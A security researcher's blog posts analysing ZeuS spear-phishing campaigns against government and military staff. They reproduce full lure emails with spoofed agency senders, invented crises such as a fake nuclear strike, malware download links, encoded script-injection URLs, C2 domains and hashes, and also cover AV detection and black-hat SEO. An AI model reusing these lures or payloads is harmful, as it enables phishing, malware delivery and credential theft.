Posts by nart

Crime or Espionage? Part 2



In “Crime or Espionage Part 1” I examined a series of attacks that appear to be aimed at those interested in intelligence issues and those in the government and military. The malware used in these attacks was ZeuS and there are common command and control elements used in the attacks beginning in December 2009 and continuing until late August 2010. In addition, these attacks have been linked to infrastructure used by the Kneber botnet, a ZeuS-based botnet discovered by Netwitness.

This post is an overview of a collection of publicly available emails associated with these ongoing series of attacks. These are the socially engineered emails designed to lure potential victims into clicking on and executing the attackers’ malicious code. While the attacks are not targeted down to the individual, or even institutional level, and appear to have been sent to a wide variety of targets, the content of the emails is geared towards those interested in intelligence, military and security issues.

The malicious emails appear to have been sent from email addresses associated with the following domain names: nsa.gov, greylogic.us, pentagon.af.mil, fbi.gov, dia.mil, dhs.gov, stratcom.mil and ifc.nato.int. With the exception of Jeff Carr’s Grey Logic, the emails appear to come from government and military sources. The subject lines and the text of the emails largely focus on security issues with some messages making use of classification markings such as “U//FOUO” and official looking email footers in order to appear to be legitimate.

The links in to the malicious files contained within the emails make use of a variety of hosts. The attackers will often include a link to the file sharing services rapidshare.com, sendspace.com and depositfiles.com. The attackers also use compromised legitimate websites, many of which are running the Joomla! CMS. However, at other times the attackers have used domain names registered specifically for malicious purposes:

dnicenter.com – abuseemaildhcp@gmail.com
dhsorg.org – hilarykneber@yahoo.com

The email addresses abuseemaildhcp@gmail.com and hilarykneber@yahoo.com are well known and have been used to register numerous domain names associated with malware, mostly ZeuS.

The “hilarykneber@yahoo.com” email address was made famous by discovery of the Kneber botnet by Netwitness. Netwitness revealed that many of the compromised computers in the US included government networks as well as Fortune 500 enterprises. This is not entirely surprising as any large botnet is likely to have compromised some government computers. But, the recognition of this fact may be the catalyst for the series of attacks using intelligence, military and security themes as lure. Not all compromised computers are of the same value, surely the attackers realize this. In “Conversations With a Blackhat” RSnake outlines this scenario:

There are already other types of bad guys who do things like spam, steal credentials and DDoS. For that to work they need a botnet with thousands or millions of machines. The chances of a million machine botnet having compromised at least one machine within a target of interest is relatively high.

So let’s say I’m badguy1 who wants to break into one or more companies of interest. Sure, I could work for days or weeks and maybe get into one or both of them, but at the risk of tipping my hand to the companies and there’s always a chance I’ll fail entirely. Or I could work with badguy2 who has a botnet. I could simply give a list of IPs, domains or email addresses of known targets to the bot herder and say that instead of paying a few cents to rent some arbitrary machine for a day, I’ll pay thousands of dollars to get a bot within the company I’m actually interested in.

A variation of this is a scenario in which the botmaster grows the botnet but through means that increase the chances of compromising a target of interest that “badguy1” wants to compromise. By using intelligence, military and security issues and themes in the lure emails, perhaps the attackers are aiming to increase the likelihood of compromising a sensitive location. In such a scenario, the botmaster is happy to get some new bots connecting in with the Zeus command and control server (from which credentials and other information can be extracted) and can also sell any sensitive data that’s been stolen or sell access to any sensitive compromised computer.

The emails below are a collection of publicly available emails associated with a series of ongoing of attacks using Zeus.

December 9, 2009
Source: http://cafe.comebackalive.com/viewtopic.php?f=1&t=48812&start=0
Source: http://contagiodump.blogspot.com/2009/12/creative-nsa-spoof-attack-of-day.html

From: ecu@nsa.gov
Date: December 9, 2009 4:33:51 PM GMT+05:00
Subject: CYBER-PMESII COMMANDER’S ANALYSIS OF FORECAST EFFECTS

AFRL-RI-RS-TR-2009-136
Final Technical Report
December 2009

CYBER-PMESII COMMANDER’S ANALYSIS OF FORECAST EFFECTS (CYBERCAFE)

INFORMATION SUBJECT TO EXPORT CONTROL LAWS

WARNING – This document contains technical data whose export is restricted by the Arms Export Control Act (Title 22, U.S.C., Sec 2751 et seq.) or the Export Administration Act of 1979, as amended (Title 50, U.S.C. App. 2401, et seq.). Violations of these export laws are subject to severe criminal penalties. Disseminate IAW DoDD 5230.25.

DESTRUCTION NOTICE – For classified documents, follow the procedures in DOD 5220.22-M, National Industrial Security Manual (NISPOM), section 5-705 or DOD 5200.1-R, Information Security Program, Chapter VI. For unclassified limited documents, destroy by any method that will prevent disclosure of contents or reconstruction of the document.

Export of the attached information (which includes, in some circumstances, release to foreign nationals within the United States) without first obtaining approval or license from the Department of State for items controlled by the International Traffic in ArmsRegulation (ITAR), or the Department of Commerce for items controlled by the Export Administration Regulation (EAR), may constitute a violation of law.

Download:
http://www.zeropaid.com/bbs/includes/CYBERCAFE.zip

or

http://rapidshare.com/files/318309046/CYBERCAFE.zip.html
http://www.sendspace.com/file/fmbt01

December 14, 2009
Source: http://cafe.comebackalive.com/viewtopic.php?f=1&t=48812&start=0
Source: http://groups.yahoo.co.jp/group/boxing-fun/message/20326?threaded=1&viscount=14&expand=1

From: uctd@nsa.gov
Date: December 14, 2009 1:56:24 PM GMT+05:00
Subject: Information Systems Security Reminder

Information Systems Security Reminder

— Users are reminded to be aware and vigilant when using government information services both inside and outside protected environments.

— Be aware of your surroundings when accessing these services remotely, and prefer trusted workstations. Evaluate the security risks inherent with use of public workstations, including “shoulder surfing” by nearby persons.

— When communicating via email, know with whom you are communicating. Common adversary techniques include social engineering, email phishing, and evocative attachments. Government system capabilities may only be discussed with authorized personnel.

— If you make an error (e.g., data spill), report it so that the problem can be addressed. Report any anomalies you observe to your security office or service desk.

Security Software:

http://hkcaregroup.com/modlogan/MILSOFT.zip

or

http://rapidshare.com/files/320369638/MILSOFT.zip.html
http://fcpra.org/downloads/MILSOFT.zip

February 10, 2010
Source: http://www.nartv.org/2010/03/01/the-kneber-botnet-spear-phishing-attacks-and-crimeware/

From: jeffreyc@greylogic.us
Date: Wednesday, February 10, 2010 7:34 AM
Subject: Russian spear phishing attack against .mil and .gov employees

Russian spear phishing attack against .mil and .gov employees

A “relatively large” number of U.S. government and military employees are being taken in by a spear phishing attack which delivers a variant of the Zeus trojan. The email address is spoofed to appear to be from the NSA or InteLink concerning a report by the National Intelligence Council named the “2020 Project”. It’s purpose is to collect passwords and obtain remote access to the infected hosts.

Security Update for Windows 2000/XP/Vista/7 (KB823988)

About this download: A security issue has been identified that could allow an attacker to remotely compromise a computer running Microsoft(r) Windows(r) and gain complete control over it. You can help protect your
computer by installing this update from Microsoft. After you install this item, you may have to restart your computer.

Download:

http://fcpra.org/downloads/winupdate.zip

or

http://www.sendspace.com/file/tj373l

___________
Jeffrey Carr is the CEO of GreyLogic, the Founder and Principal
Investigator of Project Grey Goose, and the author of “Inside Cyber Warfare”.
jeffreyc@greylogic.us

February 11, 2010
Source: http://cafe.comebackalive.com/viewtopic.php?f=1&t=48812&start=0
Source: http://osdir.com/ml/general/2010-02/msg12517.html

From: jeffreyc@nsa.gov
Date: February 11, 2010 9:39:15 AM GMT+05:00
Subject: RE: Zeus Attack Spoofs NSA, Targets .gov and .mil

Zeus Attack Spoofs NSA, Targets .gov and .mil

Criminals are spamming the Zeus banking Trojan in a convincing e-mail that spoofs the National Security Agency. Initial reports indicate that a large number of government systems may have been compromised by the attack.

According one state government security expert who received multiple copies of the message, the e-mail campaign — apparently designed to steal passwords from infected systems — was sent exclusively to government (.gov) and military (.mil) e-mail addresses.

The messages are spoofed so that they appear to have been sent by the National Intelligence Council (address used was nic@nsa.gov), which serves as the center for midterm and long-range strategic thinking for the U.S. intelligence community and reports to the office of the Director of National Intelligence.

Security Update for Windows 2000/XP/Vista/7 (KB823988)

About this download: A security issue has been identified that could allow an attacker to remotely compromise a computer running Microsoft® Windows® and gain complete control over it. You can help protect your computer by installing this update from Microsoft. After you install this item, you may have to restart your computer.

Download:

http://mv.net.md/update/update.zip

or

http://www.sendspace.com/file/7jmxtq

February 12, 2010
Source: http://www.blackfortressindustries.com/malware-analysis/e-mail-with-phishing-links/dod-roles-and-missions-in-homeland-security

From: apacs@pentagon.af.mil
Date: 12 Feb 2010 20:41:01 (GMT)
Subject: DoD Roles and Missions in Homeland Security

Defense Science Board

DoD Roles and Missions in Homeland Security

VOLUME II – A: SUPPORTING REPORTS

This report is a product of the Defense Science Board (DSB). The DSB is a Federal Advisory Committee established to provide independent advice to the Secretary of Defense. Statements, opinions, conclusions and recommendations in this report do not necessarily represent the official position of the Department of Defense.

Download:

http://mv.net.md/dsb/DSB.zip

or

http://www.sendspace.com/file/rdxgzd

___________
Office of the Under Secretary of Defense
For Acquisition, Technology, and Logistics
Washington, D.C. 20301-3140

February 21, 2010
Source: http://cafe.comebackalive.com/viewtopic.php?f=1&t=48812&start=0
Source: http://osdir.com/ml/general/2010-02/msg25834.html

From: cttd@fbi.gov
Date: February 21, 2010 7:37:16 AM GMT+05:00
Subject: INTELLIGENCE BULLETIN

FEDERAL BUREAU OF INVESTIGATION
INTELLIGENCE BULLETIN

February 2010

Weapons of Mass Destruction Directorate

Indicators for Terrorist Use of Toxic Industrial Chemicals

THIS INTELLIGENCE BULLETIN PROVIDES LAW ENFORCEMENT AND OTHER PUBLIC SAFETY OFFICIALS WITH SITUATIONAL AWARENESS CONCERNING INTERNATIONAL AND DOMESTIC TERRORIST TACTICS.

UNCLASSIFIED//FOR OFFICIAL USE ONLY

Download:

http://timingsolution.com/Doc/BULLETIN.zip

or

http://www.sendspace.com/file/goz3yd

___________
HANDLING NOTICE: Recipients are reminded that FBI Intelligence Bulletins contain sensitive terrorism and counterterrorism information meant for use primarily within the law enforcement and homeland security communities. Such bulletins shall not be released, either in written or oral form, to the media, the general public, or other personnel who do not have a valid need-to-know without prior approval from an authorized FBI official, as such release could jeopardize national security.

March 6, 2010
Source: http://aquiacreek.com/showthread.php?1712-URGENT!-Phising-Email-Scam

Office of the Director of National Intelligence INTELLIGENCE BULLETIN UNCLASSIFIED//FOR OFFICIAL USE ONLY

(U//FOUO) DPRK has carried out nuclear missile attack on Japan

06 March 2010

(U//FOUO) Prepared by Defense Intelligence Agency

(U//FOUO) Today, March 06, 2010 at 7.12 AM local time (UTC/GMT -5 hours), US seismographic stations recorded seismic activity in the area of Okinawa Island (Japan). According to National Geospatial-Intelligence Agency, Democratic People’s Republic of Korea has carried out an average range missile attack with use of nuclear warhead. The explosion caused severe destructions in the northern part of the Okinawa island. Casualties among the personnel of the US military base are being estimated at the moment.

(U//FOUO) In connection with the occurred events, it is necessary for the personnel of the services listed below to be ready for immediate mobilization:

CENTRAL INTELLIGENCE AGENCY

DEFENSE INTELLIGENCE AGENCY

DEPARTMENT OF ENERGY:
OFFICE OF INTELLIGENCE AND COUNTERINTELLIGENCE

DEPARTMENT OF HOMELAND SECURITY:
OFFICE OF INTELLIGENCE AND ANALYSIS

DEPARTMENT OF STATE:
BUREAU OF INTELLIGENCE AND RESEARCH

DEPARTMENT OF THE TREASURY:
OFFICE OF INTELLIGENCE AND ANALYSIS

DRUG ENFORCEMENT ADMINISTRATION:
OFFICE OF NATIONAL SECURITY INTELLIGENCE

FEDERAL BUREAU OF INVESTIGATION
NATIONAL SECURITY BRANCH

NATIONAL GEOSPATIAL-INTELLIGENCE AGENCY

NATIONAL RECONNAISSANCE OFFICE

NATIONAL SECURITY AGENCY

UNITED STATES AIR FORCE

UNITED STATES ARMY

UNITED STATES COAST GUARD

UNITED STATES MARINE CORPS

UNITED STATES NAVY
________________

(U//FOUO) Additional information can be found in the following report:

http://search.access.gpo.gov/GPO/Search.asp?ct=GPO&q1=%3c%61%20%68%72%65%66%3d%22%6 8%74%74%70%3a%2f%2f%64%6e%69%63%65%6e%74%65%72%2e% 63%6f%6d%2f%64%6f%63%73%2f%72%65%70%6f%72%74%2e%7a %69%70%22%3e%44%6f%77%6e%6c%6f%61%64%20%3c%2f%61%3 e%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f% 70%65%6e%28%27%68%74%74%70%3a%2f%2f%64%6e%69%63%65 %6e%74%65%72%2e%63%6f%6d%2f%64%6f%63%73%2f%72%65%7 0%6f%72%74%2e%7a%69%70%27%29%3c%2f%73%63%72%69%70% 74%3e

________________
Office of the Director of National Intelligence Washington, D.C. 20511

* The actual URL is: http://dnicenter.com/docs/report.zip

March 7, 2010
Source: http://www.blackfortressindustries.com/malware-analysis/e-mail-with-phishing-links/for-official-use-only—dprk-missile-attack-on-japan
Source: http://www.omninerd.com/articles/A_Short_Look_into_a_Phishing_Email

From: SSC@dia.mil
Date: 7 Mar 2010 14:17:51 (GMT)
Subject: FOR OFFICIAL USE ONLY

Office of the Director of National Intelligence
INTELLIGENCE BULLETIN
UNCLASSIFIED//FOR OFFICIAL USE ONLY

(U//FOUO) DPRK has carried out nuclear missile attack on Japan

06 March 2010

(U//FOUO) Prepared by Defense Intelligence Agency

(U//FOUO) Today, March 06, 2010 at 11.46 AM local time (UTC/GMT -5 hours), US seismographic stations recorded seismic activity in the area of Okinawa Island (Japan). According to National Geospatial-Intelligence Agency, Democratic People’s Republic of Korea has carried out an average range missile attack with use of nuclear warhead. The explosion caused severe destructions in the northern part of the Okinawa island. Casualties among the personnel of the US military base are being estimated at the moment.

(U//FOUO) In connection with the occurred events, it is necessary for the personnel of the services listed below to be ready for immediate mobilization:

CENTRAL INTELLIGENCE AGENCY

DEFENSE INTELLIGENCE AGENCY

DEPARTMENT OF ENERGY:
OFFICE OF INTELLIGENCE AND COUNTERINTELLIGENCE

DEPARTMENT OF HOMELAND SECURITY:
OFFICE OF INTELLIGENCE AND ANALYSIS

DEPARTMENT OF STATE:
BUREAU OF INTELLIGENCE AND RESEARCH

DEPARTMENT OF THE TREASURY:
OFFICE OF INTELLIGENCE AND ANALYSIS

DRUG ENFORCEMENT ADMINISTRATION:
OFFICE OF NATIONAL SECURITY INTELLIGENCE

FEDERAL BUREAU OF INVESTIGATION
NATIONAL SECURITY BRANCH

NATIONAL GEOSPATIAL-INTELLIGENCE AGENCY

NATIONAL RECONNAISSANCE OFFICE

NATIONAL SECURITY AGENCY

UNITED STATES AIR FORCE

UNITED STATES ARMY

UNITED STATES COAST GUARD

UNITED STATES MARINE CORPS

UNITED STATES NAVY
________________

(U//FOUO) Additional information can be found in the following report:

http://www.mod.gov.ge/2007/video/movie.php?l=G&v=%22%3e%3c%61%20%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%6f%66%66%69%63%69%61%6c%77%65%69%67%68%74%6c%6f%73%73%68%65%6c%70%2e%6f%72%67%2f%77%70%2d%61%64%6d%69%6e%2f%72%65%70%6f%72%74%2e%7a%69%70%22%3e%44%6f%77%6e%6c%6f%61%64%20%3c%2f%61%3e%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%70%65%6e%28%27%68%74%74%70%3a%2f%2f%6f%66%66%69%63%69%61%6c%77%65%69%67%68%74%6c%6f%73%73%68%65%6c%70%2e%6f%72%67%2f%77%70%2d%61%64%6d%69%6e%2f%72%65%70%6f%72%74%2e%7a%69%70%27%29%3c%2f%73%63%72%69%70%74%3e%3c%22
________________
Office of the Director of National Intelligence
Washington, D.C. 20511

* The actual URL is: http://officialweightlosshelp.org/wp-admin/report.zip

March 11, 2010
Source: http://cafe.comebackalive.com/viewtopic.php?f=1&t=48812&start=0
Source: http://dl.ambiweb.de/mirrors/www.tldp.org/LDP/LGNET/173/lg_launderette.html

From: hsi@dhs.gov
Date: March 11, 2010 11:38:56 PM GMT+05:00
Subject: U.S. Department of Homeland Security

Department of Homeland Security
INTELLIGENCE BULLETIN
UNCLASSIFIED

11 March 2010

Yesterday the Department of Homeland Security has received the prevention from NASA’s Jet Propulsion Laboratory about the occurred shift of Earth’s figure axis:
________

The recent Chilean earthquake shifted the axis by approximately three inches and shortened the length of a day by 1.26 microseconds. According to NASA’s Jet Propulsion Laboratory the displacement of Earth’s axis will cause natural disasters on the Eastern coast of the USA including Florida, Georgia, South and North Carolina.
________

In this connection the DHS has made a decision to prepare for general evacuation from the specified area. The population of the region should be ready for evacuation. It is necessary collect valuable possessions, documents, things of first necessity, and wait for the announcement.

In order to prevent panic among the population DHS asks to stay calm and follow the official instructions listed below:

http://dhsorg.org/docs/instructions.zip

________________
U.S. Department of Homeland Security
Washington, DC 20528

March 13, 2010
Source: http://www.blackfortressindustries.com/malware-analysis/e-mail-with-phishing-links/re-instructions-unclassified

From: NSI@dhs.gov
Date: 13 Mar 2010 18:26:54 (GMT)
Subject: RE: Instructions UNCLASSIFIED

U.S. Department of Homeland Security
INTELLIGENCE BULLETIN
UNCLASSIFIED

13 March 2010

Yesterday the Department of Homeland Security has received the prevention from NASA’s Jet Propulsion Laboratory about the occurred shift of Earth’s figure axis:
______________________

The recent Chilean earthquake shifted the axis by approximately three inches and shortened the length of a day by 1.26 microseconds. According to NASA’s Jet Propulsion Laboratory the displacement of Earth’s axis will cause natural disasters on the Eastern coast of the USA including Florida, Georgia, South and North Carolina.
______________________

In this connection the DHS has made a decision to prepare for general evacuation from the specified area. The population of the region should be ready for evacuation. It is necessary collect valuable possessions, documents, things of first necessity, and wait for the announcement.

In order to prevent panic among the population DHS asks to stay calm and follow the official instructions listed below:

http://www.sendspace.com/file/h96uh1

or

http://depositfiles.com/files/xj1wvamc4
________________________________________
U.S. Department of Homeland Security
Washington, DC 20528

June 16, 2010
Source: http://www.clearancejobs.com/security_tips.php

From: rss@stratcom.mil
Date: Wed Jun 16 13:10:08 2010
Subject: From STRATCOM to

,

United States Strategic Command

Commanders Reading List

Professional development is essential to the successful execution of our mission – to provide global security for America. One key component to professional development is reading and critically thinking about military issues, history, and leadership. I am pleased to announce the following selections for my 2010 Commander’s Professional Reading List. It is my intent that this list will serve as a guide for all STRATCOM military and civilian personnel to enhance their professional knowledge.

All of the titles below are available immediately for check-out at the Thomas S. Power Library on base and in the USSTRATCOM Leadership Institute.

Our overarching objective is to provide global security to our nation-the best in the world. I encourage everyone to read these titles and continue your professional development so you can continue to be the finest operators, planners, and advocates for STRATCOM and its global mission set.

KEVIN P. CHILTON
General, USAF
Commander

Inside Cyber Warfare: Mapping the Cyber Underworld (Dec 2009)

This book provides fascinating and disturbing details on how nations, groups, and individuals throughout the world are using the Internet as an attack platform to gain military, political, and economic advantages over their adversaries. Discusses how sophisticated hackers, working on behalf of states or organized crime, patiently play a high-stakes game targeting anyone, regardless of affiliation or nationality. (Amazon.com)

Author: Jeffrey Carr is a cyber intelligence expert, columnist for Symantec’s Security Focus, and author who specializes in the investigation of cyber attacks against governments and infrastructures by State and Non-State hackers. Mr. Carr is the Principal Investigator for Project Grey Goose, an Open Source intelligence investigation into the Russian cyber attacks on Georgia in August, 2008. His work has been quoted in The New York Times, The Washington Post, The Guardian, BusinessWeek, Parameters, and Wired.

Additional information can be found in the following report:

http://tiesiog.puikiai.lt/report.zip

http://somashop.lv/report.zip

________________________________________
To report a problem please submit an ODNI/ICES Ticket
Phone: 301-688-1800 (commercial), 644-1800 (DSN), 363-6105 (NSTS)”

June 17, 2010
Source: http://kerneltrap.org/mailarchive/openbsd-bugs/2010/6/17/6884952
Source: http://www.mail-archive.com/ports@openbsd.org/msg28673.html

From: izhar.mujaddid@pentagon.af.mil
Date: Thursday, June 17, 2010 – 11:57 am
Subject: Scientific Advisory Board

UNCLASSIFIED//FOR OFFICIAL USE ONLY

United States Air Force

Scientific Advisory Board

Report on Defending and Operating in a Contested Cyber Domain

Executive Summary and Annotated Brief
SAB-TR-10-01
June 2010

This report is a product of the United States Air Force Scientific Advisory
Board Study Committee on Defending and Operating in a Contested Cyber
Domain. Statements, opinions, findings, recommendations and conclusions
contained in this report are those of the Study Committee and do not
necessarily represent the official position of the United States Air Force or the United States Department of Defense.

Additional information can be found in the following report:

http://www.christianrantsen.dk/report.zip

http://enigmazones.eu/report.zip

________________________________________
HQ USAF/SB
1180 AF PENTAGON RM 5D982
WASHINGTON, DC 20330-1180

June 17, 2010
Source: http://permalink.gmane.org/gmane.linux.debian.qa-packages/33936

From: tsa@dhs.gov
Date: 2010-06-17 18:01:16 GMT
Subject: (U) Transportation Security Administration

UNCLASSIFIED//FOR OFFICIAL USE ONLY

(U) Transportation Security Administration

(U) Terrorist Attack Methods in Airport Terminals

A Predictive Analysis for the Detection-Technology Community

15 June 2010

(U//FOUO) This Transportation Security Administration Office of Intelligence (TSA-OI)
assessment, developed at the request of the TSA Office of Security Technology,
examines the terrorist tactics used to attack passengers inside the public areas of an
airport terminal in order to assist in developing security procedures and deploying threat
detection technology to this area. This assessment examined a number of unclassified
sources detailing disrupted plots, bombings, suicide bombers, and armed assaults
conducted in the public areas of airports from the 1960s to the present. Additionally,
attacks on other critical infrastructure targets were reviewed in order to assess which
tactics are more likely to be considered by terrorists targeting airport terminals.

Additional information can be found in the following report:

http://www.christianrantsen.dk/report.zip

http://enigmazones.eu/report.zip

________________________________________
Department of Homeland Security
Office of Infrastructure Protection
Infrastructure Security Compliance Division
Mail Stop 8100
Washington, DC 20528

* A variety of these emails are also available at: http://www.sophos.com/blogs/sophoslabs/?p=10116

August 26, 2010
Source: http://contagiodump.blogspot.com/2010/08/cve-2010-1240-with-zeus-trojan.html

From: ifc@ifc.nato.int
Date: Thu, 26 Aug 2010 08:24:30 -0500
Subject: From Intelligence Fusion Centre

Intelligence Fusion Centre
In support of NATO
RAF Molesworth, United Kingdom
Unit 8845 Box 300, Huntingdon
CAMBS PE28 0QB

FROM: Intelligence Fusion Centre
SUBJECT: Military operation of the EU

Additional information can be found in the following report:

http:// gnarus.mobi/media/EuropeanUnion_MilitaryOperations_EN. zip
http:// quimeras.com.mx/media/EuropeanUnion_MilitaryOperations_EN.ip

> EUROPEAN UNION
> EUROPEAN SECURITY AND DEFENCE POLICY
> Military operation of the EU
> EU NAVFOR Somalia
>
> This military operation, called EU NAVFOR Somalia – operation
> “Atalanta”, is launched in support of Resolutions 1814 (2008), 1816
> (2008), 1838 (2008) and 1846 (2008) of the United Nations Security Council (UNSC) in order to contribute to:
> – the protection of vessels of the WFP (World Food Programme) delivering food aid to displaced
> persons in Somalia;
> – the protection of vulnerable vessels cruising off the Somali coast, and the deterrence, prevention
> and repression of acts of piracy and armed robbery off the Somali coast.
> This operation, which is the first EU maritime operation, is conducted
> in the framework of the European Security and Defence Policy (ESDP).
>
>
> More information and background documents available on
> http:// gnarus.mobi/media/EuropeanUnion_MilitaryOperations_EN. zip
> and
> http:// quimeras.com.mx/media/EuropeanUnion_MilitaryOperations_EN. zip
>
> ________________________________________
> PRESS – EU Council Secretariat Tel: +32 (0)2 281 7640 / 6319

Crime or Espionage?



ZeuS is a well known crimeware tool kit that is readily available online. The tool allows even the most unskilled to operate a botnet. Typically, Zeus has been associated with banking fraud. Recently, there have been a series of attacks using the Zeus malware that appear to be less motivated by bank fraud and more focused on acquiring data from compromised computers. The themes in the emails — often sent out to .mil and .gov email addresses — focus on intelligence and government issues. After the user receives such an email, and downloads the file referenced in the email, his or her computer will likely (due to the low AV coverage) become compromised by the ZeuS malware used by the attackers and will begin communicating with a command and control server. It will then download an additional piece of malware, an “infostealer”, which will begin uploading documents from the compromised computer to a drop zone under the control of the attackers. Are these series of attacks connected? Are these events indicating a blurring of the boundaries between online crime and espionage? Or are government and military personnel just another target for online criminal activity?

This post was inspired by a recent post at contagio.blogspot.com. What appears to be a one-off attack using Zeus, I believe, is actually another round of a series of Zeus attacks. These attacks appear to be aimed at those interested in intelligence issues and those in the government and military, although the targeting appears to be general rather than targeted.

Round 1

On February 6th, 2010, Brian Krebs reported that attackers using the Zeus trojan targeted a variety of .gov and .mil email addresses in a spear phishing attack that appeared to be from the National Security Agency and enticed users to download a report called the “2020 Project.” The command and control server used in the attacks was updatekernel.com.

Round 2

Following the publication of the article by Brian Krebs, attackers took portions of his article and used them as lure in further spear phishing attacks. Sophos Labs analyzed the sample that used Kreb’s post. A post on Intelfusion.com by Jeff Carr regarding the spear phishing attack was also used in another attack. I documented these attacks in “The ‘Kneber’ Botnet, Spear Phishing Attacks and Crimeware“. The key command and control server in this case was also updatekernel.com.

Round 3

In early March 2010, more emails began circulating, one of which encouraged users to download malware from dhsorg.org (222.122.60.186). This malware used greylogic.org (222.122.60.186) as a command and control server. In addition to sharing an IP address, both domain were registered by hilarykneber@yahoo.com. The attack continued using the domain names dhsinfo.info, greylogic.info, and intelfusion.info (abuseemaildhcp@gmail.com) which were hosted on 218.240.28.34. The domain names used in these attacks were variations of domain names owned by Jeff Carr who has aptly characterized these attacks as a “Poisoning The Well” attack.

Round 4

In June 2010 another campaign began. The lure of the attack emphasizes Jeff Carr’s book “Inside Cyber Warfare: Mapping the Cyber Underworld” with the text copied from http://www.stratcom.mil/reading_list/. The command and control server in this case was from-us-with-love.com.

Round 5

Mila Parkour recently posted details of an interesting attack on contagiodump.blogspot.com. The email used in the attack appeared to be from “ifc@ifc.nato.int” with the subject “Intelligence Fusion Centre” and contained links to a report EuropeanUnion_MilitaryOperations_EN.pdf that exploits CVE-2010-1240 in order to drop a ZeuS binary.

File name: EuropeanUnion_MilitaryOperations_EN.pdf
MD5: 8b3a3c4386e4d59c6665762f53e6ec8e
VT: 11/41 (26.8%)

File name: exe.exe
MD5: 5fb94eef8bd57fe8e20ccc56e33570c5
VT: 3/41 (7.3%)

File name: ntos.exe
MD5: 28c4648f05f46a3ec37d664cee0d84a8
VT: 4/39 (10.3%)

First, the ZeuS malware connects to from-us-with-love.info (91.216.141.171) to receive the Zeus config file. Second, the malware connects to vittles.mobi (174.132.255.10) to download an infostealer. Finally, the infostealer connects to nicupdate.com (85.31.97.194).

logic.exe
MD5: 4f47b495caae1db79987b34afc971eaa
VT: 3/ 42 (7.1%)

The domain name from-us-with-love.info was registered by “Maria Laguer” with the email address admin@from-us-with-love.info, which was also used to register from-us-with-love.com (the name is also associated with other ZeuS domain, see MDL). The decrypted ZeuS config file from from-us-with-love.info contains two additional domain names: enigmazones.eu and askkairatik.net. The domain names were used as part of a previous ZeuS campaign that used from-us-with-love.com as a command and control server. IN addition the location of the malware, quimeras.com.mx, was also used in a previous campaign that had from-us-with-love.com as the command and control server.

One of the email addresses (www-data@nighthunter.ath.cx) that was used to propagate the malware associated with enigmazones.eu also delivered the emails containing malware hosted on dhsorg.org, which was registered by the infamous hilarykneber@yahoo.com and used in attacks in May. The domain dhsorg.org was hosted on 222.122.60.186 along with greylogic.org which was used as a command and control server.

The boundaries between the online crime and espionage appear to be blurring making issues of attribution increasingly more complex. Are online criminals simply targeting those interested in intelligence issues as well as members of the government and military for fraud? Have they determined that they can exploit such persons for fraud in addition to selling and sensitive data acquired to those who would be in the market for such information? Or is the campaign more specifically oriented toward espionage using ZeuS and the malware ecosystem as convenient cover? While these questions are unlikely to be ever definitively answered, we can begin to assess qualitative changes in attacks by tracking them overtime and carefully linking together seemingly disparate peices of data. This post was made possible by a wide variety of sources that each posted components of these attacks. While there is a need to protect certain sources as well as operation security so that the “bad guys” are not tipped off and continued research into their malicious activities remains possible, information sharing remains a key component malware research.

Dynamic Malware Binaries



I recently found the distribution point for a malware affiliate that dynamically generates a new binary (but the same malware) every time it is queried. The malware distributers periodically query the affiliates distribution point to receive a new binary. However, any queries to the distribution location results in a binary with a different hash value. I generated a sample of 10 binaries and uploaded each of them to VirusTotal.com to find out if the changes being made to the binary disrupted the ability of anti-virus software (AV) to detect the malware. While just under 40% of the AV products that VT uses detected the software, the ones that did detect the malware continued to detect it despite the changes to each individual binary that caused the hash value to change.

Here are the results:

Sample 1
2010-08-24 19:51:04
16/42 38.1%

Sample 2
2010-08-24 19:51:14
15/41 36.6%

Sample 3
2010-08-24 19:51:26
15/41 36.6%

Sample 4
2010-08-24 19:51:39
14/40 35.0%

Sample 5
2010-08-24 19:51:52
15/40 37.5%

Sample 6
2010-08-24 19:52:06
16/42 38.1%

Sample 7
2010-08-24 19:52:19
16/42 38.1%

Sample 8
2010-08-24 19:52:37
14/39 35.9%

Sample 9
2010-08-24 19:52:50
16/42 38.1%

Sample 10
2010-08-24 19:53:03
16/42 38.1%

AV 01 02 03 04 05 06 07 08 09 10
nProtect
CAT-QuickHeal x x x x x x x x x x
McAfee x x x x x x x x x x
TheHacker
VirusBuster n
NOD32
F-Prot x x x x x x x x x x
Symantec
Norman
TrendMicro-HouseCall
Avast
eSafe
ClamAV
Kaspersky
BitDefender x x x x x x x x x x
SUPERAntiSpyware
Sophos x x x x x x x x x x
Comodo x x x x x x x x x x
F-Secure x x x x x x x x x x
DrWeb n
AntiVir
TrendMicro
McAfee-GW-Edition x n n n n x x x x x
Emsisoft x x x n x x x n x x
eTrust-Vet x x x x x x x x x x
Authentium x x x x x x x x x x
Jiangmin
Antiy-AVL
Microsoft
ViRobot
Prevx
GData x x x x x x x x x x
AhnLab-V3
VBA32 x x x x x x x x x x
Sunbelt x x x x x x x x x x
PCTools
Rising
Ikarus x x x x x x x x x x
Fortinet
AVG
Panda x x x x x x x n x x
Avast5

x = detected
– = not detected
n = not tested

Black Hat SEO, PPC & RogueAV



Search Engine Optimization (SEO) is a term that refers to efforts to increase the rankings of a website so that it appears in the top results when searching for particular key words in a search engine. Black Hat SEO refers to “unscrupulous” SEO techniques often used to promote Rogue/Fake security software and pay-per-click (PPC) advertisement schemes. (See “Poisoned search results” by Sophos for details. See Trend Micro’s posts Making a Million, Part One—Criminal Gangs, the Rogue Traffic Broker, and Stolen Clicks and Making a Million, Part Two—The Scale of the Threat for an understanding of PPI/PPC relationships as well as RogueAV/FAKEAV). Using Black Hat SEO malicious actors are able to have their content displayed in search engines when users search for particular, usually popular, keywords. When users click on these links, they are taken to either PPC websites or RogueAv websites. The malicious actors are paid for this traffic by their PPC and RogueAV affiliates.

Dancho Danchev recently profiled a campaign using compromised .nl and .ch websites to push PPC and RogueAV installations. This post provides some additional details on the campaign.

The actors behind the campaign are using, among other techniques, compromised FTP accounts to upload malicious files to web servers around the world. Compromised FTP credentials are readily available for purchase in the malware ecosystem and are often used to propagate malware. Malicious files are uploaded to compromised websites with snippets of text based on particular search phrases. This files are designed so that when users search for certain key words in search engines, these malicious sites are high ranked in the results. While the search engines see this content, when users click on links they are redirected to the malicious server and on the PPI affiliates or RogueAV landing pages.

